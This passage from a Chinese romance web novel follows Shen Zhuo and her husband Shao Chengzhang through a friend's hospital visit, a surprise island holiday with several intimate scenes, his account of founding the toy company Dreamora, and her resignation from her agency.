邵成章点头，没再说什么，和沈灼又腻歪了一会儿才起来准备去书房。 “今晚还工作啊？” 邵成章笑了下说：“嗯，不让等你太久。” 沈灼嗔他一句：“我才没有。” 一个小时后，沈灼收到了一个文件，就是没想到发送人是邵成章。 她点开文件一看，竟然是9月沿海城市旅游推荐，里面列举了好几个这个季节适合去玩的城市和海岛推荐，从国内到国外，按照推荐星级安排的明明白白。 沈灼正躺在沙发上看着，邵成章走过来，她惊讶地问：“你刚刚是给我查攻略了啊？” “嗯。”邵成章点点头，“这样你就不用自己查了，可以按照我写的选一个去。” 沈灼坐起来，朝着邵成章张开双臂，示意要抱，“你怎么这么好啊。” 邵成章走上前抱住她，笑道：“这么好的老公，今晚有没有奖励？” “赏香吻一个。”沈灼放开他，在他脸颊上重重地亲了一口，发出响亮的一声“啵唧”。 邵成章挑眉：“就这样？” 沈灼笑着推开他：“先去洗澡。” “那一起洗。”邵成章直接将沈灼抱起来，往浴室走。 两个人很少在浴室里做，大多时候都是事后邵成章抱着昏昏欲睡的她过来清理，她清醒的时候几乎没有做过。即便两个人已经坦诚相待，非常熟悉对方的身体，可她一想到可能会不经意地看到镜子里交叠的两人，已经提前产生一种羞耻感。 沈灼全程几乎没有动手，邵成章帮她脱了衣服，挤好沐浴露然后涂抹在她身上。他挤的很多，沈灼身上起了很多泡沫，他也不给自己抹，直接贴上去，把她环住，去蹭沈灼身上的泡沫。 邵成章整个人挤进她的腿/间，低头吻住她。 平时二十分钟的洗澡时间今天拖得很长很长。 沈灼觉得自己像是中了毒，神志不清，嘴里哼哼着，也不知道自己到底在说些什么。突然，她只觉得眼前闪过无数白光，终于在某一刻，传来触电般的酥麻，沈灼觉得有烟花在脑袋里炸开。 邵成章低喘着笑出声来，像是得到了什么鼓励一般，又将沈灼拽下来，站着面对着镜子，邵成章站在她的身后，整个身形比她大了一圈 。 沈灼撇了一眼之后害羞地不想再看，邵成章胳膊从她的腰间伸过来，虎口卡住她的下巴，另一只大手穿过来，轻易地就能搂过她的腰，让她被迫看着镜子里的自己是什么样子的。 “老婆，看看你自己，好美。” 她是什么样子的呢？ 像一颗熟透的桃子，白里透红。 * 沈灼趁着工作日将接下来关司予的行程都和小芸嘱咐好，从周末开始美美放假了。 她给姜珺打电话告诉她辞职了，问她要不要出去玩。姜珺说她最近有点忙，声音中都带着疲惫。 “接到新项目了？”沈灼问。 姜珺没回，只说自己现在有点事，得先忙了就挂断了电话。 沈灼没在意，以往姜珺在剧组里的时候也是这个样子，她想姜珺大概又接到了一个新的项目。 沈灼放假，可把邵成章高兴坏了，晚上哄着她做双人运动，再也不用顾及她上第二天要上班。 他总是一下一下凿的特别用力，累得沈灼一连几天睡到日上三竿，醒来后肇事人早上班去了。她迷迷糊糊地起来想去厨房找点吃的，看到陈姨在家里吓了一跳，一时半会都没反应过来。 陈姨眼睛落在她身上，表情欲言又止的样子，但最后也只是问沈灼午饭想吃什么。沈灼不挑，随便让她做点就行。 她进洗手间洗漱，看到镜子里的自己，直接羞红了脸。她的脖子，锁骨和肩头，红红斑点以及牙印一片，都是邵成章干的好事！怪不得陈姨刚刚看自己是那个眼神…… 以前邵成章只会在比较隐蔽的衣服能遮盖的地方留印子，她知道等痕迹消失怎么也得个四五天才能行，现在她这样还怎么出去见人…… 晚上她又被邵成章摁在怀里亲，粗粝舌面接触到脖颈时，她猛然想起来这事儿，将他推开开始控诉。 邵成章听了低声一笑：“那就不出门么，我想一回家就见到你。” 沈灼锤他一拳：“那陈姨还在家里呢，她都看到了！” 邵成章说：“陈姨是过来人，夫妻之事她又不是不懂。” “……”沈灼瞪他一眼，一副不答应就休想继续的样子。 邵成章笑着答应：“好吧，那不弄了，我吃别的。” ＊ 印子消得差不多了，沈灼去迟女士家里呆了一天，迟女士说的还是老生常谈的问题。 迟女士早就看不惯沈灼这份工作了，虽然薪水高，但总是太忙，精神压力又大，这会儿辞职了倒是可以在家备孕，沈灼听了直翻白眼。 “谁说我没事儿了，我打算开个工作室呢。”沈灼说。 这几天她虽然在家闲着，但也不是什么都没做。夏丽群的话提醒她了，给老板打工不如给自己打工，不如自己创业试试，但需要考虑的地方还挺多的，她还没捋清思路。 迟女士闻言叹口气，不知道啥时候能抱上小外甥女。 沈灼懒得再听迟女士叨叨，吃过晚饭就回去了。 回家之后沈灼给姜珺打电话，想问她最近到底在忙什么。上次电话一断，姜珺到现在都没联系她。 “喂，灼子啊……”姜珺哽咽着接通了电话。 “姜珺，你怎么了，出什么事了？”沈灼一听姜珺这动静，心下一紧。姜珺是很少哭的。 姜珺抽抽噎噎，问了几次她才听明白，是姜珺的妈妈住院了。 前几次检查结果不理想，几乎被医院判定为恶性肿瘤，好在又最后做了一次病理，发现是罕见的交界性肿瘤，属于低度恶性肿瘤，在极少数情况下才会发展成恶性。 今天刚拿到结果，姜珺悬着的心终于落下来，整个人忍不住大哭起来。 “在哪个医院，我过去看看。阿姨生病你怎么不和我说啊……” 沈灼问出医院后，直接驱车赶过去了。她来到住院部，等电梯。电梯门一开，里面的人蜂拥而出，擦肩而过一个高大的长发男人，沈灼只撇到男人的下半张脸便被后面的人推着进电梯了。只那一眼，她只觉得那个男人有点眼熟，却又想不起来到底在哪儿见过。 “阿姨，怎么样了？”沈灼疾步走进病房，看到向女士半躺在病床上，姜珺在床脚，护工坐在床边陪护。人有些虚弱，但精神状态还不错。护工将她带的保健品和水果接过去。 “沈灼啊，我没事呢。”向女士微微一笑，“你工作这么忙还不用过来呀，还带这么多东西。” 姜珺站起来看她，眼睛还有点肿，想是刚刚哭的，沈灼上前拍拍她的背，对向女士一笑：“阿姨，应该的。而且现在我休假呢，再说就算工作再忙，我也得过来看看你啊。” “所以现在是怎么治疗？”她问姜珺。 姜珺说最终的治疗结果就是要切除全子宫加双附件，手术排在两天后。向女士入住的是A市最权威的公立医院，这里有最顶尖的医疗团队，一般人很难挂到号，更别说在这里住院了，因此沈灼稍稍放下心来。 “行了姜珺，就让你张阿姨在这陪我就好了，我想睡一会儿，你也回去休息休息吧。”向女士也知道女儿这几天受累了没睡好，她拜托沈灼帮忙带姜珺回家。 姜珺一开始不想走，经向女士和沈灼一番说动才答应回家。 沈灼看姜珺一脸疲态，是绝对不可能让她骑摩托来回奔波了，于是她坚持回中湖每天接送她到向女士手术之后。 邵成章接到沈灼电话，听她说姜珺的妈妈生病需要人照顾后，并没有像往常一样产生她即将几天不回家的不满，反而很郑重地让她多陪陪姜珺。 “如果有什么需要我帮忙的就和我说，嗯？” 沈灼心下一动：“嗯嗯，想亲口说老公你真好。” 邵成章笑了下：“没什么，我知道姜珺对你很重要。” 沈灼贴近话筒那端，手盖住嘴巴，小声“啵”了下：“那先亲一口。” 邵成章一愣，原来是这个意思啊……又被老婆可爱到了，他忍不住翘起嘴角：“好了，再勾我我现在就过去把你抓回来。” 两个人谁都没舍得先挂电话，又腻腻歪歪了十分钟才断。 两天后，向女士的手术很顺利，姜珺暂时松下一口气，但她还是放心不下向女士，只好推了沈灼的旅行邀约，沈灼十分理解说没关系。 她打算自己去个东南亚的海岛休息几天，得知她选定了地点，邵成章直接帮她订好了机酒。 出发前一天，沈灼陆续买的沙滩裙和泳装到了，她在衣帽间试衣服，试好一件就让邵成章看一眼，决定是留还是退。 一开始的裙子也就是无袖或者搭配开衫穿，慢慢的，裙子布料越来越少，邵成章眼神开始变得灼热起来，但眉头却也渐渐皱起来。 “到底是好看还是不好看啊？”沈灼拿不准他。 好看，当然好看，裙子衬得沈灼身材凸显的十分性感，可是邵成章不想让她穿出去。 “很一般。”邵成章说，“不如之前几件，脱下来给我吧。” 最后沈灼又试了几件泳装，有连体式的，还有两套比基尼，结果邵成章什么也没说，无视沈灼的抗议，将她的反驳全都堵在嘴巴里，把比基尼拿走了。 他绝不能让老婆穿这个一个人出现在沙滩上，太危险了！ 邵成章给沈灼订的梦幻水屋相当好，而且度假村里中餐丰富，沈灼每天醒来就看看海，躺在秋千上看书，傍晚再去岛上的栈桥和沙滩上走一走。 晚上沈灼给邵成章打视频，将邵成章给她的安排好好夸了一顿，听得他嘴角直翘。 “要是你和我一起来就好了。”沈灼嘟着嘴巴，难得有点撒娇的意味，“这里真的好漂亮，但就我一个人。” 邵成章笑说：“是想我了吗？” “嗯，想。”沈灼头搁在枕头上，撇撇嘴，“可是想你你也不能来。” “是啊，真是好遗憾啊宝宝。”他低声哄着。 沈灼从来以事业为重，从来没想过谈恋爱之后，自己有一天竟然也会因为对方工作太忙不能和自己出来旅行而产生低落的情绪。 理智上她知道自己不应该，可是她控制不了自己的心情。 突然间的沉默。 邵成章问：“不开心了？” 沈灼也不嘴硬了：“嗯。” “想让我过去吗？” 她小声说：“理性上不想。” “那感性上呢？” “想……” 就在这时，房间门铃突然响起，沈灼一怔，坐起身来。 她看着视频那头的邵成章，像是突然意识到什么，眼睛猛地亮了，“你不 会是……” 邵成章表情没变，只是淡淡一挑眉：“嗯？” 沈灼顾不上多想，赤脚跳下床跑去开门，“我就猜——” 门口站着的，不是想见的人，而是度假村的管家，他推着一瓶红酒，告诉沈灼这是邵先生为她准备的room。service。 沈灼“哦”了一声，眼神里却是难掩的失落，她让管家把酒拿了进来。 等管家离开后，手机屏幕那段的邵成章笑起来，问她，“喜欢吗？” 沈灼撇嘴瞪他一眼，她刚刚真的以为是邵成章来了……不过也是，他这个工作狂怎么可能有时间过来陪她度假。 门铃再次想起，管家的声音再次隔门响起，他说：“抱歉，沈小姐，我忘记了一样东西。” 沈灼没多想，反身回去开门。 刚刚还在手机屏幕里的人像变魔术一般，此刻站在她的房间门口，神色温柔，眼里满是笑意。 “抱歉，沈小姐，我才是真正的roomservice。” 第66章 沈灼眼睛瞬间睁大了，当惊喜突然降临的时候，大脑是空白的。反应了两秒后，她直接跳进邵成章的怀里，紧紧熊抱着他。 邵成章顺势拖住她的屁股，又往上掂了掂，确保沈灼挂在自己身上后，他空出一只手推行李箱，走进房间里，脚一勾将门带上了。 “不是，你——”沈灼笑起来，难以置信地问，“你怎么来的？”邵成章这一路上都在和她视频啊，她竟然一点都没发觉…… “我和神灯说想见老婆，神灯感动我这颗虔诚又思念的心，就送我过来见你喽。” “什么啊……”沈灼低头埋在他的颈窝，笑出声。但她也不想纠结这个问题，不管他怎么来的，都是为她而来。 “不是说好了我们要一起来海边旅游的。”邵成章搂住她，走到沙发上坐下，“我不想让你失望。” “你不工作了啊。”沈灼听得心暖暖，直起身来，看着他。 “前几天一直在加班，老板总能休三天假吧。”为了攒出来这三天的假期，邵成章前几日几乎都没怎么睡，将这几天的事务都尽量提前处理了。 “能能能，当然能。”沈灼捧着他的脸，亲了他一口，“你怎么这么好呀。” 邵成章笑问：“这就满足了吗？” “嗯。”沈灼点点头，“人还是不能想要的太多啊。” 邵成章手搭在她的腰上：“你可以一直从我这里要啊，想要很多很多也没关系。” 沈灼还没说什么，他又补了一句：“字面意义上的还有……”说着还掂了一下腿。 “……”沈灼的感动就没超过三秒。 邵成章轻拍她屁股，说自己先去洗澡，沈灼翻身从他身上下来，牵着他的手去了卧室。邵成章洗好之后，穿着系带真丝浴袍出来，看到沈灼趴在床上翘着脚，晃悠晃悠的，心情很好。 “在看什么？”他从另一边上床。 “在看我这几天拍的照片。”邵成章在她一侧躺下，沈灼顺势打了个滚，滚进他怀里，脖子枕着他的胳膊。 “给你看看。”她给他分享照片。 大多是海景还有吃的，沈灼一张张翻过去，告诉他每一张照片是在哪里拍的，遇到了哪些有趣的人，哪道菜味道特别好，想和邵成章再去吃一次……他听她慢慢讲着，时不时附和说一句“好”。 沈灼讲困了，打了个哈欠，和邵成章说：“我想抱着你睡。” 邵成章笑说：“咱们俩在一起哪天不是抱着睡的？” “不是。”沈灼支肘撑起来，整个人爬到他身上，腿曲起来在他腰间两侧，头枕在他的胸膛上，姿势像个小青蛙，“我想这样抱着你。” 邵成章抬手环住她，笑说一句“好”。 胸腔的震动传到耳朵里，她被痒的支起下巴，抵在他胸口上。 “我重不重？” 邵成章垂眼看她：“一点都不重，应该再把你养胖一点，身上都没几两肉。”他手搭在她的后腰上，往下一移，他忍不住捏了捏。 沈灼抬头，“嘶”了他一声，“那我该有的也都有啊。”不过确实不大就是了。 “你胸围都没有我的大。” 沈灼瞪大眼睛，震惊地说：“你骨架多大啊，我胸围像是和你一样，我不得G了？H？我才不要……怎么，你喜欢那种胸大的美女呗？” 邵成章连忙摇头：“没有，我可没说。” “你心里这么想的呗。” 邵成章笑了下：“那你好好听听我心里说什么。” 沈灼哼了一声，耳朵又贴在他的左侧胸/膛上。 皮肤之下，是一颗强壮的正在跳动的心脏，“咚——咚——”感觉很奇妙。 “听到它说什么了吗？” “没有。” “嗯？怎么可能，它明明每跳动一下都在说爱你。” “哦？”沈灼头又支起来，“谁说爱我？” 邵成章望进她的眼睛，说：“我爱你。” 沈灼手扶着他的肩膀，吻在他的嘴巴上，“我也爱你。” 房间内一片安静，可以清晰地听到外面大海波涛汹涌的声音。 涨潮了，海浪一波接着一波，翻滚着奔向岸边的沙滩，激荡起层层绵密的水花泡沫再退去，然后再次席卷着潮水而来。 * 沈灼醒来，发现邵成章已经不在房间里了。手机还搁在床头，她走到外面的泳池，看了下四周，他也不在那里。正当她准备回房间时，发现防浪堤之下冒出来一个黑绒绒脑袋。 邵成章游到可以看到沈灼的地方，转身面朝着她，抹了一把脸，向她招手。沈灼听不见他讲话，但猜他应该是想自己下水。她站在阳台边缘，冲着邵成章很大幅度地摇头，然后指指屋内。 她转身回屋，没一会儿邵成章从阳台那边上来，他全身上下只穿着一条紧身泳裤，将结实的线条展现无遗，他手里拿着一条白色浴巾正在擦拭头发，见到沈灼，他身上的水珠还没擦干就过去抱她。 “哎——你干嘛！”沈灼就穿了个小吊带和短裤，被他一抱，衣服上都沾了水。 邵成章笑说：“老婆，你衣服湿了，换泳衣和我一起下去吧。” “我不要。”沈灼只敢在海边踩踩水，她自知水性不好，不敢下海。水屋有滑梯可以直接入海，还可以在水屋之下浮潜，但是沈灼住了两天也没敢去。 房间门铃响起，是沈灼醒来后叫的早餐，邵成章将浴巾在腰间一围，去餐厅和她先吃了早餐。 饭后邵成章又开始磨她，和个大型挂件一样，搭在她身上，哼哼唧唧的。他和她再三保证，有他在，绝对不会让她有危险。 沈灼不是不相信邵成章，只是没法克服对水的恐惧，但无奈邵成章一直央求，她终于同意下水。 沈灼回房间找出来泳衣，她只带了一件连体式的，其余几件分体比基尼都被邵成章否定拿走了。她不傻，知道是邵成章小心眼不想让她穿这么暴露的衣服，不过她买这些衣服本来是打算和姜珺一起穿的，她不来，沈灼其实也不太好意思一个人穿，所以就由着没管他。 “老婆，穿这个好不好？”邵成章从他 自己带来的行李箱里拿出来一团拎在手里，“我想看你穿。” 沈灼拿过来一看，这不就是他说不好看的那几件比基尼嘛……感情在这等着她呢。 “我说，你都算计好了是吧？”沈灼挑眉。 邵成章笑了下，没回应她，只是从背后搂住她，窝在她颈侧，和她撒娇：“好不好，好不好？” 看他过来和她旅行的份上，沈灼没和他计较，从鼻尖哼出了一声“嗯”。 邵成章抱着她在肩窝拱起来，啄吻在她的尖头和锁骨上。 “好了好了，别蹭了。”他的头发都还湿着，蹭的她脖子那一侧痒痒的，“我去换泳衣。”她推开他要去洗手间又被他拉住。 “在这换不行吗？有什么不能看的？” 沈灼佯怒撇他一眼，挣开他径直去了洗手间。换好之后出来，邵成章眼睛一瞬不瞬地盯着她，“老婆，你好漂亮啊。” 沈灼对他说的话都已经免疫了，逗他：“口水收一收。” 邵成章深吸一口气，嘴里还发出一声类似“吸溜”的声音，惹得沈灼笑出声。他不知道什么时候从包里拿出来了防晒霜，晃了晃手里的防晒霜，“老婆，我帮你擦吧。” 沈灼走到床边坐下，长腿往上一支，手后撑住，冲他扬着下巴：“嗯，擦吧。” 邵成章忍俊不禁，他在手心里挤了两泵防晒霜，合上手掌揉开来然后覆在沈灼的小腿上，慢慢给她前后涂抹均匀。 然后是膝盖，大腿。内侧会感觉到痒，又怕邵成章做坏事，她勒令他去给她擦后背，剩下的地方她自己来。 水屋连接着一个长长的滑梯，滑下去直接就跳进了海里，或者也可以从楼梯里走下去。沈灼怕自己呛水还特意带了鼻夹，但是想了想还是从楼梯走下去吧。 邵成章陪着她从楼梯下水，尽管他一直说没事水不深，但沈灼下到水里一直扒着楼梯不敢松手，只敢在楼梯周边走动，活动范围不超过一胳膊的距离。她害怕呛水，这种害怕是本能性的。 邵成章搂住她的腰直接将她抱到水里，吓得她尖叫出声，紧紧搂着他的脖子，“邵成章，你是不是故意的！” 邵成章笑着把她放下，扶住她，水位大概在沈灼肋骨的位置，她其实是能站稳的。邵成章一跃已经潜到水下了，在沈灼周围游着，海水很清，可以看到邵成章像条鱼一样。 忽然他游到沈灼面前，突然蹿出水面，泼了她一脸水，沈灼下意识往后一躲，惊叫一声，差点跌入水里，被邵成章手一捞扶住了。 沈灼大喊：“我不和你玩了，我要上去。” 邵成章转身把她胳膊架在自己脖颈上，在水里将她背起来，“带你游一圈。” 沈灼一听，搂紧了他脖子，邵成章抬着头，用蛙泳慢慢地带着她。邵成章故意往深处游了些，沈灼一落脚就感觉海水随时会灌倒嘴巴里，直接不撒手了，邵成章笑着把她抱起来，和她索吻。 沈灼捧着他的脸，很快地亲了他一下。邵成章不满意，说不算。 虽然没有特别大的浪，但沈灼还是能感受到海水一直在波涌，她比较怕两个人亲的上头直接倒在海里…… “回去亲。” “我不。”邵成章说，“我要法式热吻。” “……”看他一副不亲就不走的架势，沈灼伸出舌尖舔在他的嘴唇上，被邵成章张开嘴直接含住，反客为主。 舌头伸进来搜刮口腔的每一处，和她的舌头交缠吮吸。 亲了好一会儿，邵成章才放开她，额头抵在她的锁骨，一边平复呼吸一边啄吻眼前的光景。 湿湿的，咸咸的。 亲够了，邵成章抱着她往水屋走，沈灼没怎么活动却觉得饥肠辘辘，邵成章知道她饿了，强忍着燥意和她一起洗了个澡，然后去吃饭。 吃完饭回来，沈灼又感觉困了，她想眯一会儿。邵成章跟着她一起上床，让她躺在自己怀里睡，他单手拿着手机在看视频。沈灼撇了两眼，是目前国际时政类的，她让邵成章外放她也听一下，结果没一会儿眼睛就阖上了。 怀里传来绵长的呼吸声，邵成章垂眼笑了下，低头吻在她的额头上。 他从来没有午休的习惯，可不知怎么，沈灼在他怀里睡得香甜，他也涌上来几分困意，于是将手机搁在一边，抱住她，也睡了过去。 第67章 沈灼是被吻醒的。 邵成章睡眠时间少，醒来之后就低头看着怀里的人，越看越喜欢，情不自禁就亲上去了。一开始还是轻轻浅浅的啄吻，沈灼没醒来但是无意识地稍微侧过头，躲开了他的吻。 邵成章有点不悦，将沈灼的脸掰过来接着亲。 舌尖描摹着她的唇形，沈灼呼吸有点不畅，忍不住张开嘴巴，邵成章趁势而入，在里面胡搅蛮缠。沈灼被惊醒，下意识张开牙关，将口腔里那条捣乱乱窜的软舌咬了一口，邵成章吃痛，不由“嘶”了一声。 沈灼睁开眼睛，看着邵成章捂着嘴巴，请皱着眉，有点幽怨憋屈地看着她。 她思索了两秒才反应过来刚刚是怎么了，连忙对邵成章道歉，“对不起宝宝，我刚刚没睡醒……”但她又感觉有点好笑，于是这句道歉就显得并不是很真诚。 “你这个女人真是——” “嗯？真是什么？” 邵成章躺下，望着天花板道：“不、解、风、情！” “什么啊，你这明明是搞偷袭。” 听到“偷袭”，邵成章眼睛瞪大，“这是偷袭吗？这不是吻醒睡美人的唯一方法吗？” 沈灼笑出声，撑起身子趴到他胸口，哄着他：“好好好，我看看，咬出血了没有？”她感觉自己咬那一下好像还挺重的。 邵成章委屈道：“可疼了。”说完他伸出舌头给她看。还好，没出血也没有明显的牙印。 沈灼朝他吹气：“吹吹就不疼了。” “不好，我疼。” 沈灼顺毛道：“那怎么呀？” “要亲亲才能好。” 沈灼无语地笑了：“你幼不幼稚！” “不幼稚，快点儿。”邵成章微撅着嘴巴。 沈灼没办法，凑上去亲他一口，想离开的时候被他按在怀里，一个翻身，将她压在身下，然后很用力地深吻。 沈灼被他亲的全身都软了，一条腿被他压在身下，另一只腿忍不住搭在他的小腿上，慢慢地蹭着他。 邵成章几乎是瞬间有了反应，沈灼也感应到了。 可是不行。 “唔…老公…晚、晚上……”沈灼咕哝着。 邵成章停下，下唇一片水亮，“晚上什么？” “晚上再做……”沈灼还想去海边，这时候来一场，她又要起不来了，然后再接着到晚上，她这将近一整天岂不是要被钉在床上…… 邵成章可怜巴巴道：“那我现在怎么办？” 沈灼摸进去，“那……我帮你，好不好？” 邵成章将自己全权交给她。 他的心里有一片骇浪，注定要永不停歇地追逐着可以承载他的那一片沙滩，这是一种不可遏制的奔赴。 而柔软的沙滩包容每一次骇浪猛烈的奔赴，也反哺骇浪每一分热切的心意。 * 傍晚时分，两个人准备去海边散步。邵成章穿了一件T恤和短裤，沈灼很少看到他穿的这么休闲，整个人没有了严肃感和禁欲感，意外的还有种男大少年气息。 邵成章这次还特意带来一台相机，非要给沈灼拍照录视频，把一整块电池都拍没电了才作罢。 最后，他和沈灼就十指紧扣地在沙滩上散步聊天，晚风轻柔，海水温驯地拍打着脚边的沙粒。沈灼侧头看着他，突然问：“你这样不管不顾公司，真的可以吗？” 尽管她提醒自己在休假期间不要再心系工作，但还是会忍不住点开微信和邮箱。关司 予有两个采访通告，她不放心，还是提前发了消息给小芸，叮嘱她注意时间别迟到。 “怎么你比我还惦记我的工作？”邵成章低头看她一眼，嘴角带笑，“公司里又不是只有我一个人，如果我不在，下面那些人还搞不定麻烦，那我花的高薪聘请他们来有什么用？” 沈灼想了想，忽然问：“管理一个公司……会不会很难？”她终于说出口自己的疑问。 她其实一直在考虑工作室的事，这意味着她从员工变成老板，从执行者变成决策者，从承担部分责任到承担全部责任。 她可以应付和甲方啊谈判，艺人突发状况这些事情，但同时让她还要负责整个团队的管理，考虑自身的成本等等这些她从没接触过的领域，除了有对未知领域的兴奋，更多的是对自己没有经验的信心不足。 尤其是她发现自己并没有很多的启动资金。 她抬头望向邵成章：“你是怎么把Dreamora做起来的？你当初就不怕吗？”虽然她并没设想过要把公司建设的和他一样，有成千上万的员工，但是邵成章作为一个过来人绝对可以给她足够多的建议。 “怕什么？”他问。 沈灼说：“怕失败啊，赔了钱之类的。”沈灼说完就意识到自己的问题有多天真。眼前这个男人最不缺的，大概就是承担亏空风险的资本。 “我不会给自己做这样的预设。”邵成章说，“其实Dreamora前期也经历过很艰难的至暗时刻。” 沈灼听他说完才知道，Dreamora一路走过来的这十年有多难。 邵成章最初的想法其实很简单——他只是想做一个属于中国年轻人的原创玩具品牌。他找来一位在艺术学院读视觉设计的校友，一拍即合，就开始了创业之旅。 可那时候的国内玩具市场几乎被海外IP垄断，消费者认迪士尼、漫威以及日韩动漫IP，却几乎不相信国产原创能做出高质量潮玩。第一款产品上架时，市场反响平平，库存压了近一万件，工厂催尾款，各种开支持续亏损。因为门店成本太高，他们尝试走渠道分销，效果仍然有限。 他的合伙人很快打了退堂鼓，选择退出。那段时间，公司只剩下邵成章一个人，和一堆没人要的玩具。 但邵成章并没有放弃，他亲自去日本考察，发现当地玩具店里一款动漫IP的盲盒销量是最高的，这给了他新的启发。回国后，他开始重构Dreamora的商业模型，打算用原创IP搭配盲盒的模式。 然而，资金依然是问题。 就在几近山穷水尽时，一家投资公司被他打动，对Kylo项目表达了投资意向。但对方开出的条件极为苛刻：他们愿意注资，但要签一份三年期的对赌协议——如果Dreamora在指定时间内无法达到既定的营收指标，投资方有权控股，并要求管理层让渡核心运营权。 对邵成章来说，这简直是背水一战。 他签下了一位意大利华裔街头涂鸦师创作的涂鸦角色“Kylo”。那个角色设计得桀骜、张扬、有一种反叛精神，邵成章认为这正契合当下新一代年轻人的情绪语言。 Kylo系列盲盒正式上市那年，邵成章创新性地引入“隐藏款”机制，制造稀缺感。一夜之间，Kylo成了社交平台上的“潮玩之王”，尤其是一些潮流达人，被盲盒机制吸引，纷纷直播拆盒视频，引起一波跟风。 Kylo的销量暴涨，线下店门前首次出现通宵排队的景象。Dreamora仅在一年之内就完成了那场对赌，并且反超。隔年，邵成章带着Kylo新系列登陆国际潮流玩具展，全球首发当日完售，媒体称其为“中国原创潮玩逆袭的代表”。 “后来我陆续签下了几个合作艺术家，Dreamora才慢慢走出原始积累期。”邵成章淡淡说着，前几年的心酸他说得云淡风轻，却让沈灼听得心中泛起震荡。 “所以，不要怕失败，当你想的那一刻，就会注定有一个失败的结果。”邵成章说，“放心大胆地去做你想做的事。” 沈灼抿着嘴唇。 邵成章停下，抱住她，缓缓开口：“老婆，相信你自己，也相信我。不管发生什么，我永远都是那个会为你托底的人，嗯？” 沈灼抬手回抱住他，点了点头。 * 经过邵成章一番自我励志的讲述，沈灼大获信心，吃过晚饭回到酒店，就打开了电脑开始捋思路。 邵成章早就洗漱好，在床上左等右等，就是不见沈灼的人影。他下床走到客厅一看，老婆正盘腿坐在沙发上敲电脑呢。 他走到沙发背后，俯身将沈灼的电脑抽走，把她的腿一并成抱膝的姿势，然后直接将她整个人抱了起来。 “邵成章，你干嘛！我的思路还没写完呢！”沈灼大喊。 “明天我帮你写。” 沈灼拒绝：“我自己可以写！” 邵成章脚步一顿：“老婆，你下午答应我的。” 沈灼装傻：“我答应你什么了？” “耍赖皮是吧？”邵成章轻笑一声，路过阳台，他直接抱着她出去，来到泳池边，“既然你忘了，那我提一个新的，我们现在下去游泳吧。” “不要！”沈灼害怕邵成章松开手把她扔下去，于是紧紧扒着他的小臂求饶大喊，“想起来了，我想起来了！我们回房间嘛。” “真的想起来了？”邵成章笑问。 沈灼能感觉到她背后贴在邵成章的胸膛微微的震动，她点点头，说真的。 邵成章又抱着她回到房间，把她放在床边上。沈灼小脸一皱，拉着邵成章的小臂，摇了摇，“再给我半小时嘛，好不好？我马上写完了。” 邵成章无奈地说：“说好的就半小时。” 沈灼笑着眯起眼睛来，“你帮我把电脑拿过来。” 邵成章想，半小时够他准备前面的了。他返回客厅把电脑拿过来，沈灼依靠在床头，在腿上放了一个枕头，又将电脑架在上面继续刚刚的梳理。 邵成章倚靠在她身边，手又开始不安分。多次的熟练作案，他现在已经练就了一只手就能解开睡裙里面的暗扣。手绕过她的后背放在前面。 沈灼忍不住哼一声，她抬眼瞪着他：“邵成章！” 邵成章眨眨眼睛，一脸无辜的样子，明知故问：“嗯？老婆，怎么了？” 他这样她怎么能好好写？！ “拿开。”沈灼命令道。 “不要。”邵成章坚持，笑道：“你写你的，我玩我的。” 他又不轻不重地捏了下，沈灼深呼吸一下，拱起背往后缩，只听他说：“如果现在写不了，那就不写了吧。” “……”她非得写完不可！ 没一会儿，沈灼的呼吸就有些乱了。 邵成章盯着她的侧脸，故意凑过去问：“老婆，怎么写文件写的脸都红了，是在想什么呢？” 沈灼使劲卡着他的手，不让他在枕头下面动来动去。 邵成章突然抽手出来，手指摁在沈灼的嘴唇上，指尖上面的水迹把她的下唇都沾湿了。 邵成章勾着她说：“老婆，是不是饿了，怎么流了这么多口水呢？” “啪”的一声，沈灼将电脑一合，扔到一边，然后将她嘴巴上沾到的口水全都抹到了他的脸上。 * 假期的最后一天，邵成章给了沈灼两个选择，海豚巡航或者浮潜。沈灼果断的选择了海豚巡航，邵成章直接包下了一艘船。 船长将船开到海豚出没得海域，前半小时无事发生，邵成章就一直在给沈灼拍照，拍着拍着，就突然看到零星的鱼鳍，接着越来越多，船的周围全是成群结队的小海豚，沈灼高兴坏了，一个劲儿感叹拍照。 邵成章手里的相机直接切换到了录像模式，他的眼睛一直没从沈灼身上离开过。 返航的时候，沈灼脸上还挂着笑，看着手机里拍摄的海豚，只感叹好可爱。 邵成章搂着她问喜欢吗。 沈灼这趟旅程基本没操心，所有的行程都是邵成章安排的，不管是从机酒还是每天的规划，她都非常非常满意。 她重重点头：“喜欢，我玩得很开心！你规划的超级棒，每一项我都喜欢！” 邵成章得了表扬，嘴角更是翘得下不来。 邵成章说他们傍晚的飞机回A市，下午两个人收拾好行李稍作休息就出发去机场了。 但是和往日不同的是，送他们的车辆并没有停在机场入口，而是直接开到了停机坪。 沈灼疑惑地下车，而后 看到身后有一架湾流G650私人飞机。 她这才反应过来，原来邵成章是有私人飞机的！ 第68章 私人飞机是邵松送的，兄弟俩都有一辆，只不过邵成章平时出差和属下一起也是一起坐飞机。这次是因为沈灼这才调出来。 难怪沈灼可以和他视频聊天。 飞行时间长达6个小时，回到家已经快接近凌晨了。沈灼在飞机上什么也没做，从邵成章给她拍的照片里选了几张修了下发了个朋友圈。 邵成章一看，九宫格里一张他和她的合照都没有，仿佛自己从未来过。 “这里面都没有我啊。”虽然有点小抱怨，但他还是给沈灼点了个赞，把老婆的美照都保存下来了。 “怎么没有？”沈灼看向他，见他挑眉，她点开一张自己看向镜头的照片，放大给他看，“喏，我的眼里有你呀。” ？能是这么算的吗，这也太犯规了吧……但是他又忍不住翘嘴角是怎么回事…… * 第二天沈灼一早到了公司，给关系好的同事们买了些有当地特色的冰箱贴，顺便正式和大家宣布她要辞职了。 几名总监都和沈灼共事好几年，本来有从hr那里听到她要离职的消息，但是怎么想都不可能，本想到竟然是真的，一时有些怅然。大家陆续围过来，说晚上怎么也要一起吃个饭。 沈灼一一应下，笑着答应，直到寒暄完，才敲响了杨瑞泽的办公室门。 “进来。” 她推门进去，站在办公桌前：“杨总，我今天过来办理一下离职手续，顺便确认一下关司予后续的经纪人安排，我交接。” “嗯，这个你就不用操心了，我有安排了。” “不知道您安排的谁，我建议由程真接手。”程真是沈灼目前在公司里综合能力很不错的一名经纪人，关司予和她合作，她也比较放心。 “程真不合适，她已经带了三个了，不太合适再把关司予给她。正好赵佳语也解约了，就让雨菲带他吧。”杨瑞泽说。 